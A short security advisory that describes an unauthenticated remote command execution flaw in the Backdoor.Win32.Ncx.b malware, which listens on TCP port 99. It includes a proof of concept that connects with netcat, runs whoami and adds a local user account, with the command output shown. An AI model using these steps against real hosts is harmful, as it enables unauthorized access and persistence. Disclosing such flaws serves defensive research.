Backdoor.Win32.Ncx.b Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/885e74a43b4f7caec3cfb4dba0787de4_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Ncx.b  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 99. Third-party attackers who can reach an infected system can execute OS commands further compromising the host.  
Type: PE32  
MD5: 885e74a43b4f7caec3cfb4dba0787de4  
Vuln ID: MVID-2021-0389  
Disclosure: 11/04/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 99  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\Users\Victim\Desktop>whoami  
whoami  
desktop-2c3iqho\victim  
  
C:\Users\Victim\Desktop>net user hyp3rlinx 666 /add  
net user hyp3rlinx 666 /add  
The command completed successfully.  
  
  
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